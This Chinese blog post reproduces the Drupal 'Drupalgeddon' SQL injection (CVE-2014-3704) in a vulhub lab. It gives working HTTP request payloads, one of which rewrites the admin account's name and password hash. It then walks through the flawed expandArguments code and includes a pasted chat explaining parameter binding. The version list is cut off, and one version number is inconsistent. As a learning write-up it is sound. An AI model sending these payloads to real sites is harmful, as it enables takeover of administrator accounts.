Drupal<7.32“Drupalgeddon”SQL注入漏洞(CVE-2014-3704)

一、漏洞简介

Drupal 是一款用量庞大的CMS,其7.0~7.31版本中存在一处无需认证的SQL漏洞。通过该漏洞,攻击者可以执行任意SQL语句,插入、修改管理员信息,甚至执行任意代码。

受影响版本:

Drupal Drupal 7.6 Drupal Drupal 7.5 Drupal Drupal 7.4 Drupal Drupal 7.3 Drupal Drupal 7.2 Drupal Drupal 7.14 Drupal Drupal 7.13 Drupal D

二、漏洞复现

https://vulhub.org/#/environments/drupal/CVE-2014-3704/

搭建好了网站后,在首页发送如下数据包

POST /?q=node&destination=node HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a

 

 

name[0 ;update+users+set+name='admin'+,+pass+=+'$S$CTo9G7Lx2mJrSyWmlh3NRTXL6AWJt35fzep9obyjkwezMHOgQf.s'+where+uid+%3d+'1';;#  ]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in

三、漏洞原理分析

Drupalcore7.3之前7.x版本中的databaseabstractionAPI中‘expandArguments’函数存在安全漏洞,该漏洞源于程序没有正确构造预处理语句。远程攻击者可借助带有特制键的数组利用该漏洞实施SQL注入攻击。

includes\database\database.inc

protected function expandArguments(&$query, &$args) {
    $modified = FALSE;
    foreach (array_filter($args, 'is_array') as $key => $data) {   
      $new_keys = array();
      foreach ($data as $i => $value) {
      $new_keys[$key . '_' . $i] = $value;   //例如$new_keys[name_01]=$value
      }
      $query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);
unset($args[$key]); $args += $new_keys; $modified = TRUE; } return $modified; }

这段代码是用来对传入数据库中的多个参数值进行预处理用的,因为Drupal对于SQL是会进行预编译处理的(传说中有效防止SQL注入的手段)。但是由于考虑不严,导致攻击者可以通过构造数组,操控数组中的索引key,在预编译之前破坏原有的SQL结构,造成SQL注入攻击。

过程:

   db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

  执行的sql语句为;SELECT * from users where name IN (:name_0, :name_1) //因为执行了$new_keys[$key.'_'.$i] = $value;这一句

  通过参数传入:通过参数传入name_0= user1,name_1=user2


这里引入了字符串拼接,将SQL注入的风险带入。原本它期待的数据是我们上面给出的那样,但是试想,如果value数组的索引key我们用字符串,而不是数字呢?就像这样:

array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

那$new_keys的索引就会变成“name_test — ”了,带着这个问题我们接着看最关键的地方:

$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);

用刚刚生成的$new_key数组索引key引入到了预编译SQL语句中,这样的话SQL语句就会变成这样:

SELECT * FROM users WHERE name = :name_test -- , :name_test

 

这里的关键要理解php中mysql参数绑定:

冰茶 11:24:01
SELECT * FROM users WHERE name = :name_test -- , :name_test
这个:有啥意思呢?

🥰 11:24:22
这个就是参数绑定的标志哦
意思mysql 看到这个语句的时候 就会知道 这个:name_test 需要替换
你要是去掉这个:  mysql  就会认为这个name_test是一个字段
mysql 参数绑定 有两种,一直是用? ,就像这种$sql = "SELECT * FROM table WHERE username = ? AND pwd = ?";

冰茶 11:27:29
啊!嘿嘿,好的哟
还有一种就是:嘎

🥰 11:28:06
但是这种就只有挨个传递参数,不能一一对应,  所以就衍生了第二种,
$sql = "SELECT * FROM table WHERE username = :name AND pwd = :pass";
是的哟!
你可以先不用纠结这个代码。
因为你不熟悉  不能太好的理解  可以先看看其他漏洞  这个漏洞能复现就好

 

还是有点搞不懂呢?未完待续

 

参考:

http://blog.nsfocus.net/drupal-7-x%E7%B3%BB%E5%88%97%E6%A0%B8%E5%BF%83%E4%BB%A3%E7%A0%81sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

posted @ 2020-09-01 11:58  xiaoxiaosen  阅读(2188)  评论(0编辑  收藏  举报